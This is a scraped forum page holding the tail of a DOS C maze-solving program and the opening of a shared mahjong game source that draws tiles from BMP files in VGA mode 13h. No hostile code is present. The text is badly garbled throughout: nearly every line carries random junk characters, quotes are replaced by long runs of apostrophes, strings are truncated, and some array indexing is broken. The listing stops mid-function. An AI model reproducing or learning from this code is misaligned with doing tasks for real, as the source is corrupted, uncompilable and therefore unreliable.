/ |; t% Y! ^9 ^/ Q3 ]return TRUE;
! J8 W% u8 W. s# F$ U" a7 ?else return FALSE;9 n  v$ G5 f8 v
} /* Pass */: y4 P4 G5 {) V: Q& L! [4 E& T1 |
void MarkPrint(PosType seat)
2 |  L0 K# G- Z8 E; M: G& j: p/* Mark the position seat. */
% b, D: S, W; T{$ u$ Q* U1 M' ?$ s5 P8 E$ x7 z1 U: F
maze[seat.x][seat.y].mark=-1;0 c; ~- r8 j  f9 @/ M
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
) U' |/ _' F7 F0 d8 i" U} /* MarkPrint */! C, W( M* M( ?8 [
void FootPrint(PosType curpos)8 ?: ?; k1 {! s2 ?( B
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
8 H  Y% y" C- h" Y' V{
8 x! k. m5 D. P2 T+ m/ h- L/ z" `maze[curpos.x][curpos.y].foot=1;3 n, ~( s# i5 X% ], o) j8 }
} /* FootPrint */
; _# ^* v. [; ]& iPosType NextPos(PosType seat,int di)/ G! D) H" f4 [/ `; c* k' k# ?1 C
{
0 ^- A4 E' k+ Z2 v7 f: {8 N; S8 aswitch(di)
7 S1 x8 M5 \( u4 q9 Z6 X- y1 `{
% W' l% k. {9 Lcase 1: seat.y++; return seat; /* Eastward */
& E) a1 ?, x, n, [) n4 J3 Lcase 2: seat.x++; return seat; /* Southward */
& z6 Z) s5 X; R" P" tcase 3: seat.y--; return seat; /* Westward */# B1 E3 N% E3 P
case 4: seat.x--; return seat; /* Northward */
0 P) c  Q& Q: {9 n0 jdefault: seat.x=0; seat.y=0; return seat;
4 n5 t' \& t* o) \0 |, h/ E}
  a2 w; w, M  d- }# `& R9 G; }} /* NextPos */* M! w3 F* B$ m

% i, o1 u- C+ y& c( P/* The key to the program. */, B! j8 [: @# u' A: T
/* Pre: The maze array &amp; the startplace &amp; the endplace.& k! t- F& y& u
Post: Find the one traverse of the maze and perform the mazepath.
* K0 b( a9 |+ R+ j. uUses: The ADT stack class.
* ~9 V: ?& L; K) T+ L' v% q& \*/( Y1 P% o( Q/ z9 d5 |$ {
Status MazePath(PosType start,PosType end)
! M6 H3 P6 G; O$ ?( t7 L{
9 m" x7 _( b2 n# k, {( QPosType curpos;0 d2 ^, I. @$ K$ U" ?4 v2 l7 I& O
int curstep;
9 O: K% T" ^5 m1 P6 s" c9 D! ]+ uSElemType e;
$ f* T4 i) G; ^3 `0 o2 @Stack *s,stack;
/ M0 j2 A. r! {1 P  ~stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
8 Q' g' c5 y0 X. ~; n) I0 ]. pif(!stack.base) Error("Overflow");5 W1 ?+ A8 Q* j6 V0 k
stack.top=stack.base;
7 X* }% O  p9 ]stack.stacksize=STACK_INIT_SIZE;( |5 U* G( E, d4 E4 b$ v
s=&amp;stack;
9 _. q, {! F3 q% g& U6 }# Fcurpos=start;' m- t6 M6 i% a0 X" z( j* r5 G
curstep=1;$ \+ t' `: J0 G
do
& F7 y1 P/ s( Y{. o+ q6 g* Z+ v) v
if(Pass(curpos))" j3 z  |+ N% g* \+ y0 o' m8 {
{$ M8 K0 V/ g$ z! K: J, L
FootPrint(curpos);
  n$ [3 x; ~/ k  A* ke.ord=curstep; e.seat=curpos; e.di=1;: h& H& |8 a' j% P! D
gotoxy((curpos.y+1)*2,curpos.x+2);+ W0 U4 q& k- l) y- N
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
% C) N4 g! z% K8 Y- ]& v2 cdelay(8000); /* pospone time. */
+ U" c  B' h7 Y4 A% D: c1 wPush(s,e);
. w( w2 b* o; e1 v$ `if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
2 e! L0 @8 ?, Y{
4 X' i( e0 g0 }, L  NDestroyStack(s);
% N3 }; j, i: T  Qreturn TRUE;: Z$ x: h- s  ^8 k+ Z: ^; P  P
}+ n' W) z/ q4 N' X7 Y* y8 X) t
curpos=NextPos(curpos,1); /* Try next position. */
# E& i1 w/ ~+ k) P7 Qcurstep++;- x$ O) c, j% P7 I; M+ U7 W3 |
}
& _3 d  j9 y$ J+ D3 j8 i3 Gelse" G9 f' ~5 A9 o. _1 F
{! S" v6 Z  T. U7 B& ]: J
if(!StackEmpty(s))
6 l2 h7 ]( |% k) O! @+ C{9 {# U. P: Q7 l0 u9 X1 Z
e=Pop(s,e); /* Removed e from s. */4 ]0 N  v' b9 [
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
: G% ^: f/ y6 p+ Cand s is not empty. */2 M  [) s2 |) f7 D& U  o
{, q- `: u& G, n" x( B* p2 w# u$ l
MarkPrint(e.seat);, v8 `" n; W2 v7 e1 W" L
gotoxy((e.seat.y+1)*2,e.seat.x+2);6 A2 g" g' A! B7 b5 I% t0 L. j
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
1 D  D3 h6 Q* f5 }' E5 Jdelay(8000); /* Pospone time. */
- s" d; p# ~3 tgotoxy((e.seat.y+1)*2,e.seat.x+2);
$ ^8 S+ D+ ]$ {putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');% I0 @: Q- k+ Q" e% |; @
e=Pop(s,e); /* Remove e from s. */
9 E) q3 N- p1 ccurstep--;- w  g; \* j0 Y3 L! f' Z
}
) h" e; ]" F! r3 x" G& Z* a" h0 Vif(e.di&lt;4) /* The current position hasnot been checked. */# J, g& s9 @( j. ^1 G! {
{
; I1 P% I! e$ }e.di++;  m+ I; y) }6 l3 ~& b' O7 e
Push(s,e); /* Insert e into s. */  h. d/ J& n0 ?! z5 O( L) `( Y2 Y
curpos=NextPos(e.seat,e.di); /* Try next position. */
1 S: B; N; O  [  H7 H}
* r3 ^2 N) a9 h7 J8 t}+ ?8 y. C# g0 X3 o; N5 L
}& s0 B+ v$ H6 u& B, c% i
}
1 X( d7 j0 U7 \7 s( ?while(!StackEmpty(s));+ ~, s9 Z5 y/ M- Y  J
DestroyStack(s);2 D( i- h3 {; y. S
return FALSE;2 ^+ F. T# P2 _8 ~  x
} /* MazePath */# v$ k) Z, g- k0 V3 |4 g; H
void main()) Y/ x2 v  e1 r$ y! S$ l5 t" U
{( M8 |) x2 `7 J
PosType start,end;
. z2 r5 q- |; z. bCreatMaze();
' T2 }, L) Q6 C! z+ p' ?% ^( Zstart.x=StartPlace.y;5 s# P5 a! R  y
start.y=StartPlace.x;: B' J0 Q: N- q8 Z# c% E5 j5 l  K
end.x=EndPlace.y;
8 s) j/ y8 z4 H9 f, mend.y=EndPlace.x;8 S: S6 f$ \, k3 [
if(MazePath(start,end))
5 R2 i# ?/ C+ v3 Y, _$ y2 y{
' U  d% r& O2 T1 Ggotoxy(2,22);
; ?) g2 H( F% |8 Z2 Tprintf("ath found\n");
5 }, d+ r' f! \. M5 c! q5 W}$ ?$ ^3 R2 V8 S& C1 X
else: G/ w9 X# ~0 [4 p8 @
{( P. Z! X5 S4 m5 A1 P6 L5 ~6 J2 |: p
gotoxy(2,22);- L) _7 U- W1 ^+ W/ z$ y. Q3 Z+ v5 I
printf("ath not found\n");
: \6 k$ O4 K# U6 n- {3 p6 s}
: R( E8 i! {7 l0 \' R$ s4 |getch();
  D2 {$ [- K- X, aclrscr();# S; m& p; Z1 W6 h
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
, _/ x8 c& G/ I, o1 u, |/ ]/*天宇软件$ W8 K+ L" I9 c+ f
作者:上海黑暗之龙1 n+ X- `. G" M3 \8 N& S
2002/10/301 e$ y& E" r9 X. t
麻将原代码*/
! t7 L* M* J: Q. r% ]2 [+ G. _#include "dos.h"
* G2 y7 h/ d: Q+ @# u+ P7 t#include "stdio.h"
5 ]7 E# |, `/ f. e; v" t; z9 W#include "graphics.h"
1 B0 a9 t8 Y& Z' y$ C4 ^: D3 j#include "bios.h"
& y, x5 K# W4 N# m#include "conio.h"
) p9 D! ^2 ]' Q#include "stdlib.h"; i: `* s* Z; ?2 c% A* m
unsigned char far *video_buffer=(char far *)0xA0000000L;/ J7 t* B. r6 {8 A5 f
#define VGA256 0x13 /*图形模式13h*/
. m" z0 B7 h  m! b+ K#define TEXT_MODE 0x03 /*普通文本模式*/
( h- t8 y$ v* G$ T" h" Z3 {6 x8 b9 K#define SETVGA Set_Video_Mode(VGA256)
( Y$ ~! H( k9 M+ X- {+ h+ o% M#define OUTVGA Set_Video_Mode(TEXT_MODE)3 G- E4 P5 m& L9 {7 G
#define BYTE unsigned char9 W) b9 w% h2 \( n1 F5 ^; M
#define WORD unsigned int$ @# H& p% @4 o4 y. c; @
#define DWORD unsigned int
, W* j' L' S4 T3 w$ z# a' s0 u#define ESC 2830 I: ^2 V, O6 R' ?/ k
#define LEFT 19200" Y% m( b4 ]% r+ P
#define RIGHT 19712/ k4 q6 @1 a2 ~$ p! C1 `0 B6 d3 ~
#define H 9064
: F3 ^2 v- n* y& R" Q#define ENTER 7181
2 V" q, _1 [2 Q; F5 O4 Aunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;2 T$ o9 s( |/ @8 K3 o
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;/ K- u+ \/ O, _$ b. n- `+ @1 m% v
struct chi2 m$ d9 V6 R( l6 E% ]+ ]" M' x
{
) d- k$ N5 m' U5 X" G# Jint lg;+ z8 U/ I6 b5 a& d) Q$ Y  H' ~0 T) H
int lgg;5 D6 U8 a" L, m& P: _: _; j
}ch[13];& K' @* t, f) @
struct mj9 w" \" ~7 b& z
{ char *name; /*名字*/$ N! h3 _$ c" X, X2 r4 P
int data1; /*是否已出,无用了*/
9 h1 Z) x- v) d3 c# A3 jint data2; /*是否在手中,1为自己,2为对方*/
: w% h# w9 G# J+ g) w$ E/ y! t7 P7 kint number; /*同一个花色的第几张,共4张*/
& [6 R. s2 p' N+ ]: l}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,; u! a! B! G6 H# y4 s$ \
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2," h& U5 G3 n" L2 r, B! ?
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,9 ?* I4 j$ K' N* X
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,/ f2 }' d$ X8 f6 a# |0 K
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,  ~& d) n+ l9 b) K
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
1 K  d4 S5 X% `"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,4 L) v! ^. G  y1 w, X. {
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,+ p9 z, P) |! _5 J9 [) {3 l; T8 _
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,# I( a* Y  r7 y5 U
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
& f9 ?2 [2 b6 x"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,3 q8 b9 C( Z" q
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
7 {. L: \5 y  T1 E4 b/ x% k: G"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
* j. h/ `! C1 u3 L6 R% Y# i" ~/ j"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2," B, j, v3 q% t0 E$ j5 G5 k
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
: j1 D, E1 ]3 u# K) r+ S0 D"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,- \  z! k9 O9 M  _5 {" |2 Z
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,$ l% V0 c; ]( k4 u
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
" f* l% u2 E, G3 m1 _3 W( g"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
" l( p/ _( K  H9 u"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
0 E- \7 P/ B+ J9 L: ?  S0 d+ F"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,! W8 j1 _' {& t: @/ |( r
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,6 E; u3 [0 \$ \% }  @3 [. e
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,2 C- g& ^' |# |! u7 y) ^
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,( h- {4 _# z1 Q
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
' Z* q2 P- N! I* j$ ]1 t"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,) O# e6 c  V7 w% T+ E9 x
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
- B1 y2 i9 c3 E  x& ]2 A5 p, X"34.bmp"};, k! O8 K2 \' q* }2 g8 [* }  w
struct every* o) w  @* @3 R$ ^  l$ `/ ~$ D
{ int *k; /*名字*/
+ Q2 A1 }* \- A* _int oneorfour; /*同一张牌的第几张*/
" m0 \, J9 [- Y1 O' Aint number; /*第几张牌136*/
% }+ [$ N0 a! L; b" Pint p;
+ O0 w4 o: ^+ Eint g;9 N. q* M" ^& n8 v; l6 Y% v9 k+ R
int c;/ r$ m6 e& b5 W! V
int d[2];" b& f9 z! h6 \2 f
};
% p% t; h4 Y* U- Pstruct me
8 k. H" u" K: @$ S) s+ R) O{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/- _& Y( O7 H1 w$ z! ~
int p; /*乓对方*/# s+ O% @2 a6 `: b4 ^  `7 D- @# ~- O
int c; /*吃对方*/3 t7 e2 ~7 b0 c. k5 d9 {
int g; /*杠*/
# w/ K4 r3 X/ p& `* x' t- i
3 E( F+ @" H/ Q* T  ?- N9 rstruct every pp[14]; /*存放手上的牌*/: j: d* |' f  I% e
}me;' V8 M& |& Z3 K# S2 |3 Z, [
struct computer
8 z/ g0 y8 }  A3 h0 w+ G{ int m;
9 r& B" Z3 Q1 _, Pint p;
7 E2 b& k5 Q9 C7 Z: C& o) |int c;4 F' \! {7 }9 z8 O1 o! B: k
int g;" ]8 X& n& A$ c$ {
struct every pp[14];
9 P& J7 r! D: w}computer,comp;
( k! b& ^6 _" A8 w. U% z$ I; s! p& f* q9 x/ k0 {* }: o
/* 设置调色板 */0 Q1 b  V: B: X& c, S0 F  {3 g
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
, r4 e5 x% L/ b{+ e1 g- s* h* R5 F/ V3 P8 C
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
4 B' c/ D" d& poutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
4 U( e; t# ~% H8 |9 Y0 e0 @outportb(0x3c9,g);6 m. H8 F0 z( s' i
outportb(0x3c9,b);
; ?) w; }: W* M/ K}
2 s& Y- s% t. b9 N/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/; Q/ i8 H. `& r1 T
/* 设置显示模式的函数 */
( @, P2 n9 p; n1 Fvoid Set_Video_Mode(int mode)/ P5 @$ `: h2 E" z
{
" N2 \; f* [# Dunion REGS inregs,outregs; /*定义输入和返回寄存器*/
0 y; C9 q  j+ Iinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/: M; f3 m( n# j% S, q
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/* P2 B) u" \' `' j' t
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
. m9 k2 u7 J1 ]0 J7 _; w7 ~}
  O. q* H1 V+ Q; n1 bvoid v_line(int y0,int y1,int x,unsigned int color)2 [. _+ z* F6 y7 N. ]( r
{ unsigned int address,n,temp;
' r7 ^  U8 N  X2 Mif(y0&gt;y1)
6 u0 r$ v: B$ {7 H- |{4 J& e( @# i/ {
temp=y1;
! g* k; H% H5 L$ W1 w4 C: X# jy1=y0;
5 ]7 f& Z+ V2 E  j, Jy0=temp;) r/ Z! N# O1 P
}7 x- u$ x2 h! L  v) X
address=320*y0+x;1 p7 U5 i; |3 b2 c( t8 ?
for(n=0;n&lt;=y1-y0;n++)' c$ R6 f. J1 I/ G! Z
{
# s+ V& D9 o8 @6 }$ ?9 o+ C3 O( Y4 kvideo_buffer[address]=color;
: H2 f  S/ ?- Uaddress+=320;, `; K3 G* k9 \/ E5 R3 Z% t
}( G$ P- `2 B4 e) J0 z
}$ ?- d, Z+ t/ e( ^( m7 b6 `
void h_line(int x0,int x1,int y,unsigned int color)* F1 Y5 ^- c. P# C
{ unsigned int address,n,temp;" X' M* F8 v3 h) m9 \
if(x0&gt;x1)& `& R0 ^9 ?4 \* U" O0 b
{
# W( Q' w* h; q6 T9 m7 Utemp=x1;
- Z! d3 q; }. M+ ~9 Sx1=x0;
; \# }  f" _+ b, Px0=temp;! A3 `/ _, c; u' R
}& n9 n& g& g6 c& ~5 b- A. G
address=320*y+x0;3 [. S# j3 _2 A% V7 x* p
for(n=0;n&lt;=x1-x0;n++)1 l! ]. L. o" `6 H' C5 E
{
- k  J0 V5 u6 [0 M: L  N9 Y  ^video_buffer[address]=color;
; \2 U& `. t, g/ T2 N% y1 Oaddress+=1;
* u$ |5 \& P3 d1 C& w}
# \! l) T, k8 E  e$ s& |}
' C% U% }" O* \, lvoid p_pixel(int x,int y,unsigned int color)
3 y# B( O6 T) L+ s) \2 H{ video_buffer[y*320+x]=color;
. z- T6 S. e4 z# S( V4 s. _: Y1 }}1 k( T  G5 A% m8 K- ]9 M
void s_square(int x,int y,int side,int color)
8 u$ K! B! p$ k, O1 i/ x6 p3 E) Z{
; a2 S- |) v5 Sh_line(x,x+side,y,color);$ D0 _1 `+ v1 f: G* t( A
h_line(x,x+side,y+side,color);
+ C# j8 R2 k& i! Y% |$ A  ^v_line(y,y+side,x,color);4 l6 K3 J2 E( E+ @3 a' B
v_line(y,y+side,x+side,color);
+ E: I4 R# s1 e% f}- n* }5 e& ]) f7 `
void r_rectangle(int x1,int y1,int x2,int y2,int color)
& S8 {6 j4 V0 z4 A) }{' g) ~  b" H( H$ W! i
h_line(x1,x2,y1,color);1 T8 A2 c# c1 R) {) }% Y( ?% ?1 k
h_line(x1,x2,y2,color);! _4 `8 r8 @9 G& L
v_line(y1,y2,x1,color);* J" X# L% }  K6 C
v_line(y1,y2,x2,color);# y! |! A( s/ U- J, o9 y
}
/ \! S9 i* x3 L  h0 |void fillRectangle(int x1,int y1,int x2,int y2,int color)+ r$ a' G& `3 F  ]' ?6 K5 y
{
0 [& ~/ ]1 h( Y1 |  R5 J" [int i;5 @$ I; U3 G. Z. C7 R' c
for(i=y1;i&lt;=y2;i++)! S# z6 I" m' |& s
{) W8 ]+ E. k! k) F
h_line(x1,x2,i,color);4 J" {4 @/ Y3 S' _1 |( t
}
2 ?8 f4 a  G9 j& V- _5 I" i7 \* R}7 x" N4 l- A% B" t" b$ e) e2 i
void showbmp(int l)% r/ B7 L; ], ]& p
{ FILE *bmp;, J+ j- O0 e0 V7 C
int i,x,y;! g2 ~/ x* B& p8 d: R8 `, H
BYTE palette[256][3];; }+ a0 i$ p( I. W3 u
bmp=fopen(me.pp[l].k,"rb");
; L8 V6 p& t7 m) Kfseek(bmp,54,SEEK_SET);3 T$ v8 E1 k0 Z+ H" L- N# A
for(i=0;i&lt;256;i++)
3 }$ a" u/ o* L& L0 w) A) p{5 U# ~5 ?; _# ?
palette[2]=fgetc(bmp)&gt;&gt;2;
" u3 ~: M. S2 |1 wpalette[1]=fgetc(bmp)&gt;&gt;2;; ]: S5 b* o" t  Q) I& A+ n4 s
palette[0]=fgetc(bmp)&gt;&gt;2;
. j0 X: ]8 f( q8 r: T0 _fgetc(bmp);7 Z: a6 U- v0 ]$ x
Set_Palette(i,palette[0],palette[1],palette[2]);; s6 p& e. S( [# H0 B; Q6 x' F
}
  q( O3 k" b" F* N9 [! y" C9 C# Bfor (y=0;y&lt;30;y++)
$ x! g) k: ~( Q5 o1 `2 Dfor(x=0;x&lt;20;x++)& K3 t! g2 j+ ~# y3 C8 A( D9 O
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
; U% [4 Y6 D# y; Qfclose(bmp);% g# I; y. C1 w; O1 B6 `
}8 H; g9 f- g1 T9 n
void showbmpd(int l)2 O$ i+ F3 m& y1 g$ s2 d* l
{ FILE *bmp;
. D! G( L5 x5 C0 [! qint i,x,y;+ I% ?( C; Y" S+ D: R3 e/ N
BYTE palette[256][3];0 M  ?1 ]" c: p' N2 l. q+ _; B
bmp=fopen(me.pp[l].k,"rb");
0 t) j; ~. Y* z* Kfseek(bmp,54,SEEK_SET);
7 O3 h  i7 `' e1 [  w  Qfor(i=0;i&lt;256;i++)
! X& r3 d% q" \5 Z. @2 _( W{9 V5 I6 n1 O- L& K7 N, t( d; T! L
palette[2]=fgetc(bmp)&gt;&gt;2;8 ?) K9 P  Q) ~3 v9 i
palette[1]=fgetc(bmp)&gt;&gt;2;& I2 y1 T, G9 ~/ Z$ i
palette[0]=fgetc(bmp)&gt;&gt;2;
' q3 ]& T- ], x+ J' `3 xfgetc(bmp);; \& ^6 a2 \; P6 K& b) a. b
Set_Palette(i,palette[0],palette[1],palette[2]);
$ Q5 A" J, R3 f* D}
1 ~8 Q2 }2 U! q* K3 Hfor (y=0;y&lt;30;y++)
* g+ S" R, F4 S) o) Mfor(x=0;x&lt;20;x++)
9 `8 p0 h  `. Y5 A3 W; T9 Upokeb(0xa000,y*320+x+zyy,fgetc(bmp));
+ m9 H2 L. C4 jfclose(bmp);* p6 b; R% [8 X7 N9 {) E
}: e8 Q. \+ Y( G' l, i# e* y
void showybmp(int ll)( a* c# F2 _1 v6 ~
{ FILE *bmp;5 o' }3 ]0 y/ d7 g
int i,x,y;
# g' q( f+ N0 v7 S+ N6 X1 oBYTE palette[256][3];: h. k8 F4 \& {
bmp=fopen(computer.pp[ll].k,"rb");4 I- e: {7 n# d# m" R
fseek(bmp,54,SEEK_SET);
" r9 v* M3 Y, H4 o, L! Hfor(i=0;i&lt;256;i++)
5 E/ l6 t% B% ?0 z0 N8 Q; [{& l- k3 J$ }9 y5 ?! M  s( m
palette[2]=fgetc(bmp)&gt;&gt;2;5 z( Z" m2 M) o, E3 B5 m) O. D
palette[1]=fgetc(bmp)&gt;&gt;2;
* n. w6 M, a9 R$ apalette[0]=fgetc(bmp)&gt;&gt;2;( b; y  |8 P- }% q) ?$ d
fgetc(bmp);/ _( U4 F  H" ?; f
Set_Palette(i,palette[0],palette[1],palette[2]);
. c0 l2 ^' x% d}
2 r/ o2 e' ^4 I( y$ a$ W) m8 O  y4 pfor (y=0;y&lt;30;y++)+ d4 c- d6 a( V4 z
for(x=0;x&lt;20;x++)# [6 Q5 B; s+ j: ^
pokeb(0xa000,y*320+x+zy,fgetc(bmp));$ K0 O( K3 Q& \3 `
fclose(bmp);
5 T- h, ^% G+ u/ V% K/ r}
8 B( [% F, N. f5 J: i- O5 Wvoid showcbmp(int ll)7 t& r4 N1 {/ L
{ FILE *bmp;( ?5 |1 E5 I6 |
int i,x,y;6 t( K2 H1 M' g6 x
BYTE palette[256][3];
1 G& l0 _  G& P; J& a! G' Nbmp=fopen(computer.pp[ll].k,"rb");" P: P7 C7 H3 P8 A3 I
fseek(bmp,54,SEEK_SET);
- a0 `* F. t/ F+ Ifor(i=0;i&lt;256;i++)
4 s& ^3 y6 j- s# z; _{; i. M  q+ K8 J. z5 n  _* Y
palette[2]=fgetc(bmp)&gt;&gt;2;
# e1 u$ x' z( L( Fpalette[1]=fgetc(bmp)&gt;&gt;2;1 p" A. i, ]* D3 K
palette[0]=fgetc(bmp)&gt;&gt;2;( U" |  f% I( p& ~
fgetc(bmp);+ o! R- c: Y  S. \2 ^  s
Set_Palette(i,palette[0],palette[1],palette[2]);- @0 W" X" W* S" x/ v6 r2 q' D
}
, J$ V) }. s9 N' N8 R+ Ffor (y=0;y&lt;30;y++)
# G& x* B/ l4 U* xfor(x=0;x&lt;20;x++)) k3 {$ O+ a6 O$ ^9 i- f* y
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
( m2 |% U; R" i5 c- A+ z1 p3 \5 ifclose(bmp);
& p+ @* \( a& {8 M}
( W7 n, o+ A+ A* q2 xvoid bmpp(int number)
8 j. x9 y7 i" j! P{ FILE *bmp;+ P4 D! C* a. q6 q5 |3 ?
int i,x,y;
' T: x7 ?( i+ HBYTE palette[256][3];
9 G% `3 o/ C9 {! ]5 i0 Abmp=fopen(m[number].name,"rb");
1 |1 H' }/ x: P+ q9 m( C, }/ }" Jfseek(bmp,54,SEEK_SET);
5 G- T6 [2 I* M( g7 Y6 z, [  kfor(i=0;i&lt;256;i++): O) Q! z5 e/ @
{: C# p- B, o% y( W- ]' v. w# f; g7 D2 l
palette[2]=fgetc(bmp)&gt;&gt;2;& t' W7 G! Z: }3 Z" G
palette[1]=fgetc(bmp)&gt;&gt;2;0 }0 K3 s- }- q
palette[0]=fgetc(bmp)&gt;&gt;2;
/ ^0 Z" _7 G2 `% }fgetc(bmp);" Y" p2 a2 |4 f
Set_Palette(i,palette[0],palette[1],palette[2]);. E7 i% g. e6 i5 y
}- u4 O9 N- H, b9 [
for (y=0;y&lt;30;y++)5 X: r  s: N- F* B) O
for(x=0;x&lt;20;x++)! o: ^' f) r5 D+ U# O& i8 z
pokeb(0xa000,y*320+x+zl,fgetc(bmp));2 \, E5 `. y+ e9 \
fclose(bmp);+ H1 h* |' [% B# d$ j' w5 I
}
" c. e3 r! r/ ]# Uvoid comlipai() /*整理电脑的牌*/( Y! L/ r- X4 B" Z
{ int n,j,u;  r( Z9 y6 l$ ?1 R* y  I) S
int *lingshi;, L4 G6 X0 i  o9 K: O  G
for(n=0;n&lt;computer.m;n++)
1 l$ p2 E1 N9 B" T+ T% Y& ufor(j=n;j&lt;computer.m;j++)
( x" q+ U. j+ l! T' V! b( G8 q+ [{3 J: P" {5 f7 x, C6 V4 L' m
if(computer.pp[n].number&gt;computer.pp[j+1].number)
' a& ]" N* u6 f{
5 R5 S1 R/ |) ]$ D6 dlingshi=computer.pp[n].k;* @: N% `+ D& f! g% @
computer.pp[n].k=computer.pp[j+1].k;( A- |) ?, X$ R3 g: n" s2 x2 c; ?
computer.pp[j+1].k=lingshi;2 r- s8 t( c4 o8 @# |. T
u=computer.pp[n].oneorfour;
7 A" A- w+ m* D' l" w5 [computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;, @4 _5 C" K" u" U& Z2 B8 S
computer.pp[j+1].oneorfour=u;
) R! `7 }) J! _u=computer.pp[n].number;
# Z9 r8 q  k) U( Y  Jcomputer.pp[n].number=computer.pp[j+1].number;' S  s  x5 m6 |* \+ Z0 f6 `
computer.pp[j+1].number=u;; C( F6 T! [0 K
}* W" g) T9 }4 T8 z( m- c
else( g; ?3 W' G- B8 S) P/ x$ k
if(computer.pp[n].number==computer.pp[j+1].number)
9 t- K- z, L$ N1 H6 @3 i  pif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)" @; S( \7 K" l0 w
{
2 b; p) Z( w! [' J/ F& Klingshi=computer.pp[n].k;
3 j( W8 A4 f/ {: j' m: m) Zcomputer.pp[n].k=computer.pp[j+1].k;. x2 x- l4 E9 Q) G/ r8 E
computer.pp[j+1].k=lingshi;
1 o; i  V. n0 O2 cu=computer.pp[n].oneorfour;
0 N: |; G8 k: o( D" xcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
- k- q+ N: p" o# M- z4 P8 C. dcomputer.pp[j+1].oneorfour=u;
8 j3 Z0 C- @0 [' B9 s3 qu=computer.pp[n].number;0 V3 C0 P+ J% {) A. R
